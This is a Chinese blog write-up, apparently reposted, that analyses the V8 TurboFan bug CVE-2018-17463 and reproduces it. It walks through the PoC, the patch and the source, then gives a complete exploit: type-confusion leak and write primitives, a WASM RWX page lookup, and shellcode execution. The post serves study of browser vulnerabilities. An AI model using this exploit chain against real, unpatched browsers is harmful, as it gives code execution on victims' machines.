本文为CVE-2018-17463的分析以及复现，CVE-2018-17463是一个由于TurboFan优化所产生的漏洞，因为我也是刚接触浏览器这方面不久，是个新手，也是第一次复现真实环境中的漏洞，所以我会尽可能的把分析的过程以及自己在复现过程中遇到的问题写清楚，希望能够帮助到和我一样刚入门的师傅。
本文参考文章：http://p4nda.top/2019/06/11/%C2%96CVE-2018-17463/?utm_source=tuicool&utm_medium=referral#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA
这个漏洞在Chrome Bug的网页上，有很多的相关信息，我们可以在其中找到存在漏洞的版本，可以看到相关的PoC，为我们的复现做准备，这里放一下链接(第一次复现不了解，当时找链接找了半天)：
基础的V8调试环境的搭建这里就不再赘述了，需要的师傅可以参考我博客里的这一篇文章：v8调试环境搭建/)，讲的是Ubuntu22.04下的环境搭建。
用如下命令先切换到漏洞所在的版本并编译v8：
1 2 3 4 5 |
|
PoC分析
官方给出的PoC如下：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
|
这里首先创建了一个名为f的函数，其中参数o是一个对象，在函数中调用了Object.Create(o)，并返回o.y.a，Object.create(o)会以其中的参数o为原型，再创建出一个对象并返回，但是这里并没有接收返回值，说明返回的对象并不是重点。接下来调用了两次f函数，然后通过%OptimizeFunctionOnNextCall来触发优化，最后再次调用f函数，并判断返回值是否与3相等。
根据传入的参数可以看出，在f函数并未修改o.y.a的值的情况下，最后一次调用f函数，返回的应该是3，说明这里由于某种原因o.y.a的值被改变了，而在PoC中，只调用了Object.create，那么很明显正是这个函数直接或间接引起了值的改变。
补丁分析
根据官方给出的补丁：
1 2 3 4 5 6 7 8 9 |
|
补丁中可以看出，用kNoProperties代替了kNoWrite，那么为了了解kNoWrite是个啥，我们需要在源码中进行查看，在operator.h文件中，我们可以发现kNoWrite定义在一个枚举类型中：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
|
其中kNoWrite的注释的大致意思是：不会产生副作用而创造出一个新的依赖项，根据前面的PoC文件，我们可以看出，简单的调用Object.create()并不会导致值的改变，但当优化之后，值却改变了，再根据补丁文件可以看出CreateObject这个函数被kNoWrite所标记，所以我们可以猜测出CreateObject被认为是不会产生副作用的，为了进一步了解发生了什么，我们需要借助一个工具：Turbolizer。。
通过增加参数来生成Turbolizer所需要的文件：
1 |
|
然后运行Turbolizer：
1 |
|
将生成的json文件打开就行了，经过观察以后发现，CreateObject节点在generic lowering阶段，变为了Call：
鼠标放上去就能看见这里用CreateObjectWithoutProporties来代替了原本的JSCreateObject函数，那么我们继续查看源码(由于本人水平有限，源码阅读部分的分析大多是参考的参考文章中的描述)。
源码分析
在builtins-object-gen.cc中：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
|
从源码中可以看出，call_runtime函数实际上又调用了另一个Runtime::kObjecrCreate函数，它的源码在runtime-object.cc中：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
|
可以看到，当O的类型是一个Object或者Null的时候，就会调用JSObject::ObjectCreate，他的位置在源码中的objects.cc：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
|
可以看出，这段代码首先获取了Map，并根据Map的类型来选择调用NewSlowJSObjectFromMap或者NewJSObjectFromMap，我们跟进GetObjectCreateMap函数中继续观察：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
|
这里如果满足prototype->IsJSObject()并且如果!js_prototype->map()->is_prototype_map()，那么将会调用优化函数JSObject::OptimizeAsPrototype来进行优化，我们继续跟进源码看：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
|
这里可以看见，如果enable_setup_mode为真，并且PrototypeBenefitsFromNormalization()的返回值也为真的话，将会调用JSObject::NormalizeProperties，其中关于PrototypeBenefitsFromNormalization的判断可以看见，我们的对象需要拥有FastProperties并且满足下面的一些条件即可：
1 2 3 4 5 6 7 8 |
|
我们继续跟进NormalizeProperties来看看到底发生了什么，源码如下：
1 2 3 4 5 6 7 8 9 10 11 |
|
可以看见，该函数会根据现有的map通过Map::Normalize生成一个新的new_map，那么我们前面讲过，CreateObject被kNoWrite所标记，被认为是不会产生副作用的，但是在这里，如果new_map与map不一致，就会产生副作用，我们继续跟进Map::Normalize看看是否改变了Map：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 |
|
当不满足条件：use_cache && cache->Get(fast_map, mode).ToHandle(&new_map)时，将会产生新的Map：new_map = Map::CopyNormalized(isolate, fast_map, mode);，这里use_cache我个人猜测应该是检索是否已有的Map，因为在v8中，Map不被使用时，通常不会被直接移除，因为可能会在后面使用，我们继续跟进CopyNormalized，来看看map是否变化：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
|
可以看见其中调用了RawCopy函数，并且我们可以看见其中存在一个result->set_is_dictionary_map(true);，我们跟进这个函数去看看：
1 2 3 4 5 |
|
这个函数调用了Update，将Map更新为dictionary map，那么很显然，CreateObject函数并不是kNoWrite的，那么漏洞为什么会出现也很清楚了：当调用Object.create 时，然后由于错误的被标识为kNoWrite，并且在优化过程中被替换为CreateObjectWithoutProperties，又由于优化过程中省略了一系列的检查，没有探测到Map的改变，从而导致了漏洞的产生。
触发漏洞
由于优化过程中，JSCreateObject被认为是kNoWrite的，所以只要我们先访问一次对象的某一个元素，在接下来访问另一次时，将会由于优化省略了CheckMap这一步，导致仍然按照原来的偏移去取值，导致取出的值并不是真正的值，我们可以构造如下代码：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
|
成功触发漏洞：
漏洞利用
1
2
3
4
5
6
7
8
//test.js
var obj = {"a":1,"b":2};
obj.c=11;
obj.d=22;
%DebugPrint(obj);
Object.create(obj);
%DebugPrint(obj);
%SystemBreak();
1
2
3
gdb ./d8
set args --allow-natives-syntax ./test.js
r
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
第一次DebugPrint:
0x1866d7b8e1b1: [JS_OBJECT_TYPE]
- map: 0x181a3138ca71 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x03ce280846d9 <Object map = 0x181a313822f1>
- elements: 0x108cb1b82cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x1866d7b8e2c9 <PropertyArray[3]> {
}
第二次DebugPrint:
0x1866d7b8e1b1: [JS_OBJECT_TYPE]
- map: 0x181a3138cb11 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
- prototype: 0x03ce280846d9 <Object map = 0x181a313822f1>
- elements: 0x108cb1b82cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x1866d7b8e371 <NameDictionary[53]> {
}
这里我们可以很清楚的看见map从FastProperties变为了DictionaryProperties，学过基础知识的应该知道FastProperties模式的值，是直接存储在结构体中的，而DictionaryProperties模式的值，则是存储在一张hash表中的，我们可以查看DictionaryProperties模式的内存结构如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
0x1866d7b8e371: [ObjectHashTable]
- map: 0x108cb1b83669 <Map>
- length: 53
- elements: 4
- deleted: 0
- capacity: 16
- elements: {
0: 5 -> 0
1: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>
2: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>
3: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>
4: 0x33fa0db050a1 <String[1]: d> -> 22
5: 1216 -> 0x03ce280a2991 <String[1]: a>
6: 1 -> 448
7: 0x03ce280a29a9 <String[1]: b> -> 2
8: 704 -> 0x108cb1b825a1 <undefined>
9: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>
10: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>
11: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>
12: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>
13: 0x108cb1b825a1 <undefined> -> 0x108cb1b825a1 <undefined>
14: 0x108cb1b825a1 <undefined> -> 0x33fa0db068c9 <String[1]: c>
15: 11 -> 960
}
可以看见，hash表的排列是以0x10个字节为单位的，前0x8是名字，后0x8是名字，并且在测试过程中可以发现，由于随机化的影响，hash表每次的排列都是不同的既相同元素的偏移每次都不一样，这里怎么办我们后面再来说。
1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x1866d7b8e2c9-1
0x1866d7b8e2c8: 0x0000108cb1b83899 0x0000000300000000
0x1866d7b8e2d8: 0x0000000b00000000 0x0000001600000000
0x1866d7b8e2e8: 0x0000108cb1b825a1 0x0000108cb1b82341
0x1866d7b8e2f8: 0x0000000e00000000 0x0000000400000000
0x1866d7b8e308: 0x0000108cb1b846f9 0x000003ce280a2991
0x1866d7b8e318: 0x0000014000000000 0x0000000100000000
0x1866d7b8e328: 0x000003ce280a29a9 0x0010054000000000
0x1866d7b8e338: 0x0000000100000000 0x000033fa0db068c9
0x1866d7b8e348: 0x0020094000000000 0x0000000100000000
0x1866d7b8e358: 0x000033fa0db050a1 0x00300d4000000000
可以看见，在0x8和0x10偏移的位置分别放了c，d的值，那么当他转换为hash表存储时，理论上来说，只要数据够多，原来的偏移处，一定会存在一个新的数据，假如新的数据的属性名为x，原来的数据名为y，那么当出现上述情况时，我们对y操作，实际上就是在对x操作，可以达到类型混淆的效果，那么我们通过以下代码创建多个属性并寻找相应的x与y(这段计算x与y的代码，参考自参考文章，因为我的代码不知道为啥一直算不出来)：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
function create(){
var obj = {a:123};
for(let i = 0;i<30;i++){
eval(`obj.${'b'+i} = 456-i`);
}
return obj;
}
let obj_array=[];
/*function triggerVul(obj){
obj.a;
this.Object.create(obj);
eval(`
${find_obj.map((b) => `let ${b} = obj.${b};`).join('\n')}
`);
}*/
function find(){
for (let i = 0;i<40;i++){
obj_array[i] = 'b'+i;
}
eval(`
function triggerVul(obj){
obj.a;
this.Object.create(obj);
${obj_array.map(
(b) => `let ${b} = obj.${b};`
).join('\n')}
return [${obj_array.join(', ')}];
}
`);
for(let i = 0;i<10000;i++){
let obj = create();
let array = triggerVul(obj);
for(let j = 0;j<array.length;j++){
if(array[j]!=456-j&&array[j]<456&&array[j]>(456-39)){
console.log("\033[1;32m[*] find two : \033[0m"+'b'+j+" and "+'b'+(456-array[j]));
return ['b'+j , 'b' + (456-array[j])];
}
}
}
}
find();
这里解释一下这段代码，首先按照规律：456-i的规律为每个属性bi赋值，然后将值存入数组obj_array中，然后开始循环，外层循环是为了触发优化，内层循环则是比较每一次obj.bi的值是否改变，如果改变了，则j以及456-array[j]即是我们需要找到x与y。
当我们找到x与y后，我们可以通过另一个规律：不同对象的相同属性名的属性在hash表中的位置是一致的来解决hash会变化的问题，我们来创建两个具有相同属性名的对象，来观察他们在内存中的结构：
1
2
3
4
5
6
7
8
9
var obj1 = {a:1,b:2,c:3};
obj1.d = 4;
var obj2 = {a:5,b:6,c:7};
obj2.d = 8;
Object.create(obj1);
Object.create(obj2);
%DebugPrint(obj1);
%DebugPrint(obj2);
%SystemBreak();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
obj1:
0x32d124d8e401: [ObjectHashTable]
- map: 0x236b46483669 <Map>
- length: 53
- elements: 4
- deleted: 0
- capacity: 16
- elements: {
0: 5 -> 0
1: 0x201e9c6a2991 <String[1]: a> -> 1
2: 448 -> 0x236b464825a1 <undefined>
3: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
4: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
5: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
6: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
7: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
8: 0x236b464825a1 <undefined> -> 0x0bbcf4f050a1 <String[1]: d>
9: 4 -> 1216
10: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
11: 0x236b464825a1 <undefined> -> 0x0bbcf4f068c9 <String[1]: c>
12: 3 -> 960
13: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
14: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
15: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
}
obj2:
0x32d124d8e5f1: [ObjectHashTable]
- map: 0x236b46483669 <Map>
- length: 53
- elements: 4
- deleted: 0
- capacity: 16
- elements: {
0: 5 -> 0
1: 0x201e9c6a2991 <String[1]: a> -> 5
2: 448 -> 0x236b464825a1 <undefined>
3: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
4: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
5: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
6: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
7: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
8: 0x236b464825a1 <undefined> -> 0x0bbcf4f050a1 <String[1]: d>
9: 8 -> 1216
10: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
11: 0x236b464825a1 <undefined> -> 0x0bbcf4f068c9 <String[1]: c>
12: 7 -> 960
13: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
14: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
15: 0x236b464825a1 <undefined> -> 0x236b464825a1 <undefined>
}
我们可以观察到，虽然obj1与obj2是两个不同的对象，但是他们相同名字的属性在hash表中的偏移却是相同的，那么根据我们上面找到的x与y，我们就可以创建另一个对象new_obj，并根据x与y来对new_obj进行类型混淆，达到泄露地址的目的，我们先写出泄露地址的原语：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
let C1 = 0;
let C2 = 0;
function leak_obj_create(target){
var obj = {a:123};
for(let i = 0; i<30; i++){
if('b'+i!=C1&&'b'+i!=C2){
eval(`obj.${'b'+i} = 456;`);
}
else if('b'+i==C1){
eval(`obj.${C1} = {c10:1.1,c11:2.2};`);
}
else if('b'+i==C2){
eval(`obj.${C2} = {c20:target};`);
}
}
return obj;
}
function leak(target){
eval(`
function triggerVul(target)
{
target.a;
this.Object.create(target);
return target.${C1}.c10;
}
`);
for(let i = 0; i<10000; i++){
var obj = leak_obj_create(target);
var leak_addr = triggerVul(obj);
if(leak_addr!=1.1&&leak_addr!=456&&leak_addr!=undefined){
console.log("\033[1;32m[*] target addr is leaked: \033[0m 0x" + (f_to_i(leak_addr)));
return f_to_i(leak_addr);
}
}
}
[C1,C2] = find();
var buffer = new ArrayBuffer(0x100);
leak(buffer);
其中C1，C2就是我们找出的x与y，我们先通过与之前一样的方式为一个对象添加大量属性，与之前不同的是，我们在C1加入属性c10，c11，并向C2中的c20存入一个对象，这样在我们返回C1.c10时，就会把C2.c20处存储的对象的地址作为浮点数返回，造成地址泄露。这里说一下为什么要以Obj.c2={c20:target}这种方式放入，因为如果直接放，我们泄露出来的并不是这个对象的地址，而是他的Map，这里可以自己调试一下看看就能明白。
然后我们需要任意地址写入，方法与leak差不多，只是我们在创建时，不能obj.C1 = {c11:1.1,c12:2.2}这样了，因为我们写是需要些对象的某个元素写入，那么我们可以按照如下方法构造：
1
2
obj.C1 = {c10:{c11:1.1,c12:2.2}};
obj.C2 = {c20:target};
这样让obj.C1.c10对应obj.C2.c20，那么我们操作c10的元素，就可以实现对target的属性的操作，而我们希望操作的是DataView的backing store，这样就可以利用dataview实现任意地址写，代码如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
function write_obj_create(target){
var obj = {a:123};
for(let i = 0; i<30; i++){
if('b'+i!=C1&&'b'+i!=C2){
eval(`obj.${'b'+i} = {};`);
}
else if('b'+i==C1){
eval(`obj.${C1} = {c10:{c11:1.1,c12:2.2}};`);
}
else if('b'+i==C2){
eval(`obj.${C2} = {c20:target};`);
}
}
return obj;
}
function write(target,data){
eval(`
function triggerVul(target,data){
target.a;
this.Object.create(target);
let sign = target.${C1}.c10.c12;
target.${C1}.c10.c12 = (data);
return sign;
}
`);
for(let i = 0; i<10000; i++){
var obj = write_obj_create(target);
var sign = triggerVul(obj,data);
if(sign!=2.2){
console.log("\033[1;32m[*] target addr has been write with data: \033[0m " + f_to_i(data));
return ;
}
}
console.log("\033[1;31m[!]Failed to Write Data! \033[0m ");
}
1
2
3
4
5
6
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var wasm = wasmInstance.exports.main;
wasm();
wasmCode我是采用在线网站生成的：https://wasdk.github.io/WasmFiddle/，直接用它默认的那个return 42就行，在初始化之后，我们需要找到rwx段所在的位置，这个调试慢慢找就行了，我这里给出我找到的路线：
1
2
3
4
5
6
7
8
9
wasmFunctionaddr
==>
SharedInfo
==>
WasmExportedFunctionData
==>
Instance
==>
Instance+0xe8+0x8(直接vmmap看就能发现这里是有rwx权限的)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
var buf = new ArrayBuffer(16);
var f64 = new Float64Array(buf);
var i32 = new Uint32Array(buf);
function f_to_i(target)
{
f64[0] = target;
let tmp = Array.from(i32);
return tmp[1] * 0x100000000 + tmp[0];
}
function i_to_f(target)
{
let tmp = [];
tmp[0] = parseInt(target % 0x100000000);
tmp[1] = parseInt((target-tmp[0]) / 0x100000000);
i32.set(tmp);
return f64[0];
}
function hex(target){
return target.toString(16).padStart(16,"0");
}
function gc()
{
for(var i=0;i<((1024 * 1024)/0x10);i++)
{
var a= new String();
}
}
function create(){
var obj = {a:123};
for(let i = 0;i<30;i++){
eval(`obj.${'b'+i} = 456-i`);
}
return obj;
}
let obj_array=[];
/*function triggerVul(obj){
obj.a;
this.Object.create(obj);
eval(`
${find_obj.map((b) => `let ${b} = obj.${b};`).join('\n')}
`);
}*/
function find(){
for (let i = 0;i<40;i++){
obj_array[i] = 'b'+i;
}
eval(`
function triggerVul(obj){
obj.a;
this.Object.create(obj);
${obj_array.map(
(b) => `let ${b} = obj.${b};`
).join('\n')}
return [${obj_array.join(', ')}];
}
`);
for(let i = 0;i<10000;i++){
let obj = create();
let array = triggerVul(obj);
for(let j = 0;j<array.length;j++){
if(array[j]!=456-j&&array[j]<456&&array[j]>(456-39)){
console.log("\033[1;32m[*] find two : \033[0m"+'b'+j+" and "+'b'+(456-array[j]));
return ['b'+j , 'b' + (456-array[j])];
}
}
}
}
let C1 = 0;
let C2 = 0;
function leak_obj_create(target){
var obj = {a:123};
for(let i = 0; i<30; i++){
if('b'+i!=C1&&'b'+i!=C2){
eval(`obj.${'b'+i} = 1.1;`);
}
else if('b'+i==C1){
eval(`obj.${C1} = {c10:1.1,c11:2.2};`);
//eval(`obj.${C1} = 1.1;`)
}
else if('b'+i==C2){
eval(`obj.${C2} = {c20:target};`);
//eval(`obj.${C2} = target;`)
}
}
return obj;
}
function leak(target){
eval(`
function triggerVul(target)
{
target.a;
this.Object.create(target);
return target.${C1}.c10;
}
`);
for(let i = 0; i<10000; i++){
var obj = leak_obj_create(target);
var leak_addr = triggerVul(obj);
if(leak_addr!=1.1&&leak_addr!=undefined){
console.log("\033[1;32m[*] target addr is leaked: \033[0m " + (f_to_i(leak_addr)));
return f_to_i(leak_addr);
}
}
}
function write_obj_create(target){
var obj = {a:123};
for(let i = 0; i<30; i++){
if('b'+i!=C1&&'b'+i!=C2){
eval(`obj.${'b'+i} = {};`);
}
else if('b'+i==C1){
eval(`obj.${C1} = {c10:{c11:1.1,c12:2.2}};`);
}
else if('b'+i==C2){
eval(`obj.${C2} = {c20:target};`);
}
}
return obj;
}
function write(target,data){
eval(`
function triggerVul(target,data){
target.a;
this.Object.create(target);
let sign = target.${C1}.c10.c12;
target.${C1}.c10.c12 = (data);
return sign;
}
`);
for(let i = 0; i<10000; i++){
var obj = write_obj_create(target);
var sign = triggerVul(obj,data);
if(sign!=2.2){
console.log("\033[1;32m[*] target addr has been write with data: \033[0m " + f_to_i(data));
return ;
}
}
console.log("\033[1;31m[!]Failed to Write Data! \033[0m ");
}
[C1,C2] = find();
var buffer = new ArrayBuffer(0x200);
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var wasm = wasmInstance.exports.main;
wasm();
var wasm_addr = leak(wasm);
write(buffer,i_to_f(wasm_addr));
let dataview = new DataView(buffer);
shared_info = f_to_i(dataview.getFloat64(0x18-0x1,true));
console.log("\033[1;32m[*] shared info addr is leaked: \033[0m " + (shared_info));
write(buffer,i_to_f((shared_info)));
WasmFunc = f_to_i(dataview.getFloat64(0x8-0x1,true));
console.log("\033[1;32m[*] wasm Func addr is leaked: \033[0m " + (WasmFunc));
write(buffer,i_to_f(WasmFunc));
Instance = f_to_i(dataview.getFloat64(0x10-0x1,true));
console.log("\033[1;32m[*] wasm Instance addr is leaked: \033[0m " + (Instance));
write(buffer,i_to_f(Instance));
wasm_rwx = f_to_i(dataview.getFloat64(0xe8+0x8-0x1,true));
console.log("\033[1;32m[*] wasm rwx addr is leaked: \033[0m " + (wasm_rwx));
write(buffer,i_to_f(wasm_rwx));
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
for(let i=0;i<shellcode.length;i++){
dataview.setUint8(i,shellcode[i]);
}
wasm();
//%DebugPrint(buffer);
//%DebugPrint(wasm);
//%DebugPrint(shared_info);
//%SystemBreak();
如有侵权请联系:admin#unsafe.sh